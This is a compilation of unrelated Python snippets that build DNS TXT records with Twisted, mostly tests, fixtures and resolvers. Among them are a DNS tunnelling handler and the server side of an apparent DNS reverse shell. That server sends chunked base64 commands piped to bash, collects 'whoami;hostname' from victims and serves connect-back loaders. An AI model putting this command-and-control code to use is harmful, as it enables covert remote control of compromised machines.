def testTXT(self): """Test DNS 'TXT' record queries""" return self.namesTest( self.resolver.lookupText('test-domain.com'), [dns.Record_TXT('A First piece of Text', 'a SecoNd piece', ttl=19283784), dns.Record_TXT('Some more text, haha! Yes. \0 Still here?', ttl=19283784)] )
def test_TXT(self): """Test DNS 'TXT' record queries""" return self.namesTest( self.resolver.lookupText("test-domain.com"), [ dns.Record_TXT( b"A First piece of Text", b"a SecoNd piece", ttl=19283784), dns.Record_TXT(b"Some more text, haha! Yes. \0 Still here?", ttl=19283784), ], )
def __parseLine(self, line): tokens = line.split(None, 2) # reject if incorrectly formatted. if len(tokens) != 3: raise RuntimeError( "line '%s': wrong # of tokens %d." %(line, len(tokens))) rname, rtype, rvalue = tokens # # if rvalue is a list, make sure to store it as one! if rvalue.startswith("["): rvalue = json.loads(rvalue) # create correct payload payload = None if rtype == "A": payload = dns.Record_A(address=rvalue) elif rtype == "CNAME": payload = dns.Record_CNAME(name=rvalue) elif rtype == "MX": payload = dns.Record_MX(name=rvalue[0], preference=int(rvalue[1])) elif rtype == "NS": payload = dns.Record_NS(name=rvalue) elif rtype == "SOA": payload = dns.Record_SOA(mname=rvalue[0], rname=rvalue[1]) elif rtype == "TXT": payload = dns.Record_TXT(data=[rvalue]) else: raise "cannot parse line!" return dns.RRHeader(name=rname, type=self.__query_types[rtype], payload=payload, ttl=0) # set TTL to 0 for now so that we can
def test_txt(self): """ The repr of a L{dns.Record_TXT} instance includes the data and ttl fields of the record. """ self.assertEqual(repr(dns.Record_TXT("foo", "bar", ttl=15)), "<TXT data=['foo', 'bar'] ttl=15>")
def query(self, query, timeout=None): queried = query.name.name if queried[:4] == self.duplicate: return [], [], [] self.duplicate = queried[:4] payload = self.decodeRequest(queried) if payload != '': self.iface.rawDataSent(payload) response = self.encodeResponse() answers = [] authority = [] additional = [] # answer = dns.RRHeader( # name = queried, # payload = dns.Record_A(address=b'1.2.3.4') # ) # answers.append(answer) answer = dns.RRHeader( name = queried, type = dns.TXT, ttl = 1, payload = dns.Record_TXT(response) ) answers.append(answer) return answers, authority, additional
def setTXT(self, hostname, txtname, data): assert type(data) is type(b""), (type(data), data) # hostname is like 'test1.sf.example.com' print("setTXT", hostname, txtname, data) fullname = "%s.%s" % (txtname, hostname) self.records[fullname] = [dns.Record_TXT(data, ttl=5)] self._dump()
def txt(localname): if localname.endswith('._device-info._tcp.local.'): info = ServiceInfo(localname, localname) info.request(self.zeroconf, timeout * 1000) if not info.text: return [], [], [] else: info = self.zeroconf.get_service_info(localname, localname, timeout * 1000) if info is None: return [], [], [] order = [] i = 0 while i < len(info.text): length = info.text[i] i += 1 kv = info.text[i:i + length].split(b'=') order.append(kv[0]) i += length data = [ b"%s=%s" % (p, info.properties[p]) for p in sorted(info.properties, key=lambda k: order.index(k) if k in order else 1000) ] answers = [ dns.RRHeader(name=localname[:-6] + domain, ttl=ttl, type=dns.TXT, payload=dns.Record_TXT(*data)) ] return answers, [], []
def _compose_answer(self, name, response): response = response.replace('\n', '') response = response.replace('\r', '') payload = dns.Record_TXT(bytes(response, 'utf-8')) answer = dns.RRHeader( name=name, payload=payload, type=dns.TXT, ) return answer
def _maybe_split_up_txt_data(name, txt_data, r_ttl): start = 0 txt_data_list = [] while len(txt_data[start:]) > 0: next_read = len(txt_data[start:]) if next_read > 255: next_read = 255 txt_data_list.append(txt_data[start:start + next_read]) start += next_read _push_record(name, dns.Record_TXT(*txt_data_list, ttl=r_ttl))
def _getAny(self, name): answer = dns.RRHeader(name=name, type=dns.TXT, cls=dns.IN, ttl=0, payload=dns.Record_TXT("f**k off here", ttl=65535)) answers = [answer] authority = [] additional = [] return answers, authority, additional
def test_txt(self): """ Two L{dns.Record_TXT} instances compare equal if and only if they have the same data and ttl. """ # Vary the length of the data self._equalityTest(dns.Record_TXT(['foo', 'bar'], 10), dns.Record_TXT(['foo', 'bar'], 10), dns.Record_TXT(['foo', 'bar', 'baz'], 10)) # Vary the value of the data self._equalityTest(dns.Record_TXT(['foo', 'bar'], 10), dns.Record_TXT(['foo', 'bar'], 10), dns.Record_TXT(['bar', 'foo'], 10)) # Vary the ttl self._equalityTest(dns.Record_TXT(['foo', 'bar'], 10), dns.Record_TXT(['foo', 'bar'], 10), dns.Record_TXT(['foo', 'bar'], 100))
def query(self, query, timeout=None): if query.type != dns.TXT: self.log.info('Unhandled DNS query class/type: %s/%s', query.type) msg_out, msg_in = query.name.name, (self.link.get() or '') self.link.send(msg_out) self.log.debug('Sent: %r, recv: %r', msg_out, msg_in) return [ dns.RRHeader(msg_out, type=dns.TXT, payload=dns.Record_TXT(msg_in), auth=True) ], list(), list()
def create_message(self, instances, name, prop, record=dns.A): """ Construct a message to return to the client. instances is a reservation list (the output from ec2_connection.get_all_instances) name is the query value prop is the property to inspect on each instance to return record is a constant that indicates what type of record to create in the payload. """ output = ([], [], []) if not instances: self.log.debug("No instances found for '%s'" % (name)) return output for instance in instances[0].instances: value = self._tag_or_property(instance, prop) self.log.debug("%s: %s %s" % (name, prop, value)) if not value: continue if record == dns.A: payload = dns.Record_A(str(value)) elif record == dns.PTR: payload = dns.Record_PTR(str(value)) else: raise ValueError, "Record constant '%s' is not supported" % ( record) answer = dns.RRHeader(name, type=record, payload=payload, ttl=self.ttl) output[0].append(answer) for extra_prop in self.extra: extra_value = self._tag_or_property(instance, extra_prop) self.log.debug("%s: %s = %s" % (name, extra_prop, extra_value)) if extra_value: string = "%s = %s" % (extra_prop, extra_value) extra = dns.Record_TXT(str(string)) extra_rr = dns.RRHeader(name, type=dns.TXT, payload=extra, ttl=self.ttl) output[2].append(extra_rr) return output
def _forward_message(self, name, message, proto, address): # handle chaos record - return fake BIND "banner" # TODO: this packet is currently malformed and fingerprintable. # "Authoritative" answer is sent, without authority RR if name == 'version.bind': txt = dns.Record_TXT(self.bind_version) message.answer = True message.auth = True message.authenticData = False message.timeReceived = time.time() ans = dns.RRHeader(name, message.queries[0].type, message.queries[0].cls, 0, txt) return server.DNSServerFactory.gotResolverResponse(self, ([ans], [], []), proto, message, address) else: return server.DNSServerFactory.messageReceived(self, message, proto, address)
def create_message(self, instances, name, prop, record=dns.A): """ Construct a message to return to the client. instances is a reservation list (the output from ec2_connection.get_all_instances) name is the query value prop is the property to inspect on each instance to return record is a constant that indicates what type of record to create in the payload. """ output = ([], [], []) print "OUTPUT FROM CREATE_MESSAGE type %s" % (record) if not instances: print "NO INSTANCES FOUND" return output for instance in instances[0].instances: value = self._tag_or_property(instance, prop) print "VALUE: %s %s" % (prop, value) if not value: continue if record == dns.A: payload = dns.Record_A(str(value)) elif record == dns.PTR: payload = dns.Record_PTR(str(value)) else: raise ValueError, "Record constant '%s' is not supported" % ( record) answer = dns.RRHeader(name, type=record, payload=payload) output[0].append(answer) for extra_prop in self.extra: extra_value = self._tag_or_property(instance, extra_prop) if extra_value: string = "%s = %s" % (extra_prop, extra_value) extra = dns.Record_TXT(str(string)) extra_rr = dns.RRHeader(name, type=dns.TXT, payload=extra) output[2].append(extra_rr) print "OUTPUT" pprint.pprint(output) return output
def _doDynamicResponse(self, query): """ Calculate the response to a query. """ print('name', query.name.name) payload = dns.Record_TXT(txt_content, ttl=5) answer = dns.RRHeader( name=query.name.name, payload=payload, type=dns.TXT, ttl=5, ) answers = [answer] authority = [] additional = [] return answers, authority, additional
test_domain_com = NoFileAuthority( soa=('test-domain.com', soa_record), records={ 'test-domain.com': [ soa_record, dns.Record_A('127.0.0.1'), dns.Record_NS('39.28.189.39'), dns.Record_SPF('v=spf1 mx/30 mx:example.org/30 -all'), dns.Record_SPF('v=spf1 +mx a:\0colo', '.example.com/28 -all not valid'), dns.Record_MX(10, 'host.test-domain.com'), dns.Record_HINFO(os='Linux', cpu='A Fast One, Dontcha know'), dns.Record_CNAME('canonical.name.com'), dns.Record_MB('mailbox.test-domain.com'), dns.Record_MG('mail.group.someplace'), dns.Record_TXT('A First piece of Text', 'a SecoNd piece'), dns.Record_A6(0, 'ABCD::4321', ''), dns.Record_A6(12, '0:0069::0', 'some.network.tld'), dns.Record_A6(8, '0:5634:1294:AFCB:56AC:48EF:34C3:01FF', 'tra.la.la.net'), dns.Record_TXT('Some more text, haha! Yes. \0 Still here?'), dns.Record_MR('mail.redirect.or.whatever'), dns.Record_MINFO(rmailbx='r mail box', emailbx='e mail box'), dns.Record_AFSDB(subtype=1, hostname='afsdb.test-domain.com'), dns.Record_RP(mbox='whatever.i.dunno', txt='some.more.text'), dns.Record_WKS('12.54.78.12', socket.IPPROTO_TCP, '\x12\x01\x16\xfe\xc1\x00\x01'), dns.Record_NAPTR(100, 10, "u", "sip+E2U", "!^.*$!sip:[email protected]!"), dns.Record_AAAA('AF43:5634:1294:AFCB:56AC:48EF:34C3:01FF') ],
def send_chunks(self, sess_id, answers, query_name, direct, shell_type, page_size): chunk_runner = "" cut_len = 0 #4 chars of overhead aa=%data%; bytes_per_chunk = 255 - 4 chunk_offset = self.session.get_data(sess_id, "chunk_offset") chunk_cmd = self.session.get_data(sess_id, "chunk_cmd") chunk_state = self.session.get_data(sess_id, "chunk_state") cut = chunk_offset * bytes_per_chunk if chunk_state == "+": #All chunks sent, execute them. #self.session.set_data(sess_id, "chunk_offset", 0) #have we loaded all pages, now run them full = "" #Did we process the first page? if chunk_offset <= 82: #If this is the first page, then zero out the run key. chunk_runner = "Z=;" #List all variables we used keys_used = chunk_offset % 82 for i in range(keys_used): full += "$"+self.chunk_keys[i] chunk_runner = chunk_runner + "Z=$Z" + full + ";" if cut >= len(chunk_cmd): chunk_state = "-" else: chunk_state = "" #we have crunched down all vars, now execute the full payload elif chunk_state == "-": run_key = "$Z" chunk_runner = self.loader.get_runner(sess_id, "echo "+run_key+"|base64 --decode|"+shell_type, direct, shell_type) #all done, good job boys. chunk_cmd = "" chunk_state = "" chunk_offset = 0 else:# we have data while cut < len(chunk_cmd) and len(answers) <= page_size: #We can only merge 82 variables with a 255 byte record. #Todo improve merging by senidng more data, and then merging all blocks down in one phase. if chunk_offset > 0 and chunk_offset % 82 == 0: chunk_offset -= 1 chunk_state = "+" break key = self.chunk_keys[chunk_offset] chunk_offset += 1 #build a 255 byte chunk cut_len = cut + bytes_per_chunk new_chunk = key+"="+chunk_cmd[cut:cut_len]+";" cut = cut_len send_chunk = dns.RRHeader( name=query_name, type=dns.TXT, payload=dns.Record_TXT(new_chunk, ttl=0)) answers.append(send_chunk) #Check if we still have to send data if cut >= len(chunk_cmd): #All set, run the command. chunk_state = "+" if chunk_runner: run_chunk = dns.RRHeader( name=query_name, type=dns.TXT, payload=dns.Record_TXT(chunk_runner, ttl=0)) answers.append(run_chunk) self.session.set_data(sess_id, "chunk_state", chunk_state) self.session.set_data(sess_id, "chunk_offset", chunk_offset) self.session.set_data(sess_id, "chunk_cmd", chunk_cmd)
test_domain_com = NoFileAuthority( soa=(b"test-domain.com", soa_record), records={ b"test-domain.com": [ soa_record, dns.Record_A(b"127.0.0.1"), dns.Record_NS(b"39.28.189.39"), dns.Record_SPF(b"v=spf1 mx/30 mx:example.org/30 -all"), dns.Record_SPF(b"v=spf1 +mx a:\0colo", b".example.com/28 -all not valid"), dns.Record_MX(10, "host.test-domain.com"), dns.Record_HINFO(os=b"Linux", cpu=b"A Fast One, Dontcha know"), dns.Record_CNAME(b"canonical.name.com"), dns.Record_MB(b"mailbox.test-domain.com"), dns.Record_MG(b"mail.group.someplace"), dns.Record_TXT(b"A First piece of Text", b"a SecoNd piece"), dns.Record_A6(0, b"ABCD::4321", b""), dns.Record_A6(12, b"0:0069::0", b"some.network.tld"), dns.Record_A6(8, b"0:5634:1294:AFCB:56AC:48EF:34C3:01FF", b"tra.la.la.net"), dns.Record_TXT(b"Some more text, haha! Yes. \0 Still here?"), dns.Record_MR(b"mail.redirect.or.whatever"), dns.Record_MINFO(rmailbx=b"r mail box", emailbx=b"e mail box"), dns.Record_AFSDB(subtype=1, hostname=b"afsdb.test-domain.com"), dns.Record_RP(mbox=b"whatever.i.dunno", txt=b"some.more.text"), dns.Record_WKS(b"12.54.78.12", socket.IPPROTO_TCP, b"\x12\x01\x16\xfe\xc1\x00\x01"), dns.Record_NAPTR(100, 10, b"u", b"sip+E2U", b"!^.*$!sip:[email protected]!"), dns.Record_AAAA(b"AF43:5634:1294:AFCB:56AC:48EF:34C3:01FF"), ],
def query(self, query, timeout=None): answers = [] additional = [] authority = [] chunk_cmd = "" direct = None #8.8.8.8 returns at most 14 txt records per query. page_size = 14 shell_type = "bash" query_name = query.name.name #query_type = dns.QUERY_TYPES[query.type] triggered_payload = False cmd_runner = False #This is an alternate injection #Some sh connectbacks may need this padding. if query_name.startswith("{echo,'"): query_name=query_name[7:] shell_type = "sh" #strip of the hostname for this message if query_name.endswith(self.hostname): name_parts = query_name[0:len(query_name)-len(self.hostname)].split(".") #A direct connection must end with our hostname direct = False else: #This is direct because it could not have used an open resolver name_parts = query_name.strip(".").split('.') direct = True #have we seen this session before? sess_id = self.session.get_session(name_parts[0]) #Clients need to resolve the address of this server - here is our root if query.type == dns.A: #Resolve this server's A record. cmd_server = dns.RRHeader( name=query.name.name, type=dns.A, auth=True, payload=dns.Record_A(address=self.ip, ttl=0)) answers.append(cmd_server) if not sess_id: log("", "", "query", str(datetime.datetime.now())+","+query.name.name+"\n") elif query.type == dns.NS: #Resolve this server's NS record cmd_server = dns.RRHeader( name=query.name.name, type=dns.NS, auth=True, payload=dns.Record_NS(self.hostname, ttl=0)) answers.append(cmd_server) #for debugging open resolvers #size.x to find the max number of txt records returned. elif query.type == dns.TXT and query.name.name.startswith("size"): try: txt_count = int(query.name.name.split(".")[-1]) except: txt_count = 1 #Resolve this server's NS record cmd_server = dns.RRHeader( name=query.name.name, type=dns.TXT, auth=True, payload=dns.Record_TXT("a" * 255, ttl=0)) for i in range(txt_count): answers.append(cmd_server) #We are only checking the size. return defer.succeed((answers, authority, additional)) if not sess_id: if len(name_parts) > 0: if name_parts[0] in self.session.keyspace: #We don't have this session, and it looks like the key will work as a session id. sess_id = self.session.new(name_parts[0]) else: sess_id = self.session.new() #Did a known payload trigger this request? triggered_payload = self.loader.get_payload(name_parts[0]) if triggered_payload: self.session.set_data(sess_id, "payload", triggered_payload) trigger_lower = triggered_payload.lower() if trigger_lower.find("bash") >= 0: shell_type = "bash" elif trigger_lower.find("sh") >= 0: shell_type = "sh" elif trigger_lower.find("perl") >= 0: shell_type = "perl" elif trigger_lower.find("cmd") >= 0: shell_type = "cmd" elif trigger_lower.find("powershell") >= 0: shell_type = "ps1" else: self.session.set_data(sess_id, "payload", query.name.name) self.session.set_data(sess_id, "direct", direct) #Direct connections do not have a protocol level limit of the number of results. #This cap depends on the implementation of nslookup. self.session.set_data(sess_id, "shell_type", shell_type) else: #Is this a direct connection? direct = self.session.get_data(sess_id, "direct") shell_type = self.session.get_data(sess_id, "shell_type") page_size = self.session.get_data(sess_id, "page_size") #These messages conditions need to be checked in all phases of the session if self.session.check_exit(sess_id): #send exit code cmd_runner = "e=1" elif not self.session.get_data(sess_id, "host") and direct == None: #lets try a direct payload direct_sess_id = self.session.new() self.loader.get_connect(direct_sess_id, True, shell_type) self.session.set_data(direct_sess_id, "direct", True) self.session.set_data(direct_sess_id, "shell_type", shell_type) self.session.set_data(sess_id, "direct", False) cmd_runner = self.loader.get_connect(direct_sess_id, True, shell_type) elif not self.session.get_data(sess_id, "host"): #Reqeust the machine_id for this new session. cmd = "eval 'whoami;hostname'" cmd_runner = self.loader.get_runner(sess_id, cmd, direct, shell_type) if not self.session.get_data(sess_id, "host"): #If we haven't seen this session before, then we need some kind of identificaiton. if len(name_parts) > 1: data = query_name data = "".join(name_parts[1:]) try: #Look for a single-block message that contains two newline-seperated elements machine_id = base64.b64decode(data).strip() machine_id = machine_id.split("\n") except: machine_id = False if machine_id and len(machine_id) == 2: new_host = machine_id[1] new_user = machine_id[0] if self.session.new_machine(sess_id, new_user, new_host): message = "new Session: " + sess_id + " - " + new_user + "@"+ new_host +" - payload: " + self.session.get_data(sess_id, "payload") print("\n"+message) log(sess_id, new_host, new_user, message+"\n") else: print("\nkilled duplicate: " + sess_id + " - payload: " + self.session.get_data(sess_id, "payload") + " - restart nsshell if this was a mistake.") #we have tried to exit this host but it reconnected. self.session.send_exit(sess_id) name_parts = [] else: #Send commands if query.type == dns.TXT: chunk_cmd = self.session.get_data(sess_id, "chunk_cmd") if not chunk_cmd: cmd = self.session.get_motd(sess_id) else: cmd = False if self.session.get_data(sess_id, "last_read") != 0 and self.session.clear_read(sess_id): #end of read for a command. self.session.indicator(sess_id) self.session.set_data(sess_id, "currently_receiving", False) if cmd and (cmd.lstrip().startswith("cd ") or cmd.lstrip().startswith("eval ") or cmd.lstrip().startswith("export ")): #This command _is_ a true eval if cmd.lstrip().startswith("eval "): cmd = cmd[5:] #pipes spawn a sub-shell which breaks cd, and 'cd' doesn't return anything anyway. #eval the raw command cmd_runner = cmd self.session.indicator(sess_id) elif cmd: cmd_runner = self.loader.get_runner(sess_id, cmd, direct, shell_type) if len(cmd_runner) > 255: chunk_cmd = base64.b64encode(cmd) self.session.set_data(sess_id, "chunk_cmd", chunk_cmd) self.session.set_data(sess_id, "chunk_offset", 0) cmd_runner = "" self.send_chunks(sess_id, answers, query.name.name, direct, shell_type, page_size) #Did we get data back from the client? elif len(name_parts) > 1 and len(name_parts[1]) > 2 and name_parts[0][2:].isdigit(): sequence_number = int(name_parts[0][2:]) data = "".join(name_parts[1:]) self.session.add_buffer(sess_id, sequence_number, data) #Only print stdout if the user is watching. if self.session.current_session == sess_id: std_data = self.session.read_stdout(sess_id) sys.stdout.write(std_data) if chunk_cmd: #We still have data, send more pages self.send_chunks(sess_id, answers, query.name.name, direct, shell_type, page_size) elif cmd_runner: if len(cmd_runner) >= 255: #Should never happen unless there is a bug with the runner print("cmd runner too large:"+str(len(cmd_runner))+">255") return #We have a new command send_commanad = dns.RRHeader( name=query.name.name, type=dns.TXT, payload=dns.Record_TXT(cmd_runner,ttl=0)) answers.append(send_commanad) elif not self.session.get_data(sess_id, "host"): full_connect = self.loader.get_connect(sess_id, direct, shell_type) if len(full_connect) > 255: print('{0} connect payload too large.'.format(len(full_connect))) else: if len(full_connect) > 255: #should never happen unless there is a bug with the connect back print("connectback too large:"+str(len(full_connect))+">255") return #send packaged command to the client connect_back_loader=dns.RRHeader( name=query.name.name, type=dns.TXT, payload=dns.Record_TXT(full_connect)) #"{echo,'" answers.append(connect_back_loader) sys.stdout.flush() return defer.succeed((answers, authority, additional))
def __build_answer(self, query, db_zone, db_record, is_conditional_response=False): record = None # Calculate the query type (in case it's a request for A but a CNAME is returned). query_type = REV_TYPES[db_record.type] if query_type == dns.A: record = dns.Record_A(address=db_record.property( 'address', conditional=is_conditional_response), ttl=db_record.ttl) elif query_type == dns.AAAA: record = dns.Record_AAAA(address=db_record.property( 'address', conditional=is_conditional_response), ttl=db_record.ttl) elif query_type == dns.AFSDB: record = dns.Record_AFSDB(subtype=int( db_record.property('subtype', conditional=is_conditional_response)), hostname=db_record.property( 'hostname', conditional=is_conditional_response)) elif query_type == dns.CNAME: record = dns.Record_CNAME(name=db_record.property( 'name', conditional=is_conditional_response), ttl=db_record.ttl) elif query_type == dns.DNAME: record = dns.Record_DNAME(name=db_record.property( 'name', conditional=is_conditional_response), ttl=db_record.ttl) elif query_type == dns.HINFO: record = dns.Record_HINFO( cpu=db_record.property( 'cpu', conditional=is_conditional_response).encode(), os=db_record.property( 'os', conditional=is_conditional_response).encode()) elif query_type == dns.MX: record = dns.Record_MX(preference=int( db_record.property('preference', conditional=is_conditional_response)), name=db_record.property( 'name', conditional=is_conditional_response)) elif query_type == dns.NAPTR: record = dns.Record_NAPTR( order=int( db_record.property('order', conditional=is_conditional_response)), preference=int( db_record.property('preference', conditional=is_conditional_response)), flags=db_record.property( 'flags', conditional=is_conditional_response).encode(), service=db_record.property( 'service', conditional=is_conditional_response).encode(), regexp=db_record.property( 'regexp', conditional=is_conditional_response).encode(), replacement=db_record.property( 'replacement', conditional=is_conditional_response)) elif query_type == dns.NS: record = dns.Record_NS(name=db_record.property( 'name', conditional=is_conditional_response), ttl=db_record.ttl) elif query_type == dns.PTR: record = dns.Record_PTR(name=db_record.property( 'name', conditional=is_conditional_response), ttl=db_record.ttl) elif query_type == dns.RP: record = dns.Record_RP( mbox=db_record.property('mbox', conditional=is_conditional_response), txt=db_record.property('txt', conditional=is_conditional_response)) elif query_type == dns.SOA: record = dns.Record_SOA( mname=db_record.property('mname', conditional=is_conditional_response), rname=db_record.property('rname', conditional=is_conditional_response), serial=int( db_record.property('serial', conditional=is_conditional_response)), refresh=int( db_record.property('refresh', conditional=is_conditional_response)), retry=int( db_record.property('retry', conditional=is_conditional_response)), expire=int( db_record.property('expire', conditional=is_conditional_response)), minimum=int( db_record.property('minimum', conditional=is_conditional_response))) elif query_type == dns.SPF: record = dns.Record_SPF( db_record.property( 'data', conditional=is_conditional_response).encode()) elif query_type == dns.SRV: record = dns.Record_SRV( priority=int( db_record.property('priority', conditional=is_conditional_response)), port=int( db_record.property('port', conditional=is_conditional_response)), weight=int( db_record.property('weight', conditional=is_conditional_response)), target=db_record.property('target', conditional=is_conditional_response)) elif query_type == dns.SSHFP: record = dns.Record_SSHFP( algorithm=int( db_record.property('algorithm', conditional=is_conditional_response)), fingerprintType=int( db_record.property('fingerprint_type', conditional=is_conditional_response)), fingerprint=db_record.property( 'fingerprint', conditional=is_conditional_response).encode()) elif query_type == dns.TSIG: record = dns.Record_TSIG( algorithm=db_record.property( 'algorithm', conditional=is_conditional_response).encode(), timeSigned=int( db_record.property('timesigned', conditional=is_conditional_response)), fudge=int( db_record.property('fudge', conditional=is_conditional_response)), originalID=int( db_record.property('original_id', conditional=is_conditional_response)), MAC=db_record.property( 'mac', conditional=is_conditional_response).encode(), otherData=db_record.property( 'other_data', conditional=is_conditional_response).encode()) elif query_type == dns.TXT: record = dns.Record_TXT( db_record.property( 'data', conditional=is_conditional_response).encode()) else: pass if not record: return None answer = dns.RRHeader(name=query.name.name, type=query_type, cls=query.cls, ttl=db_record.ttl, payload=record) return answer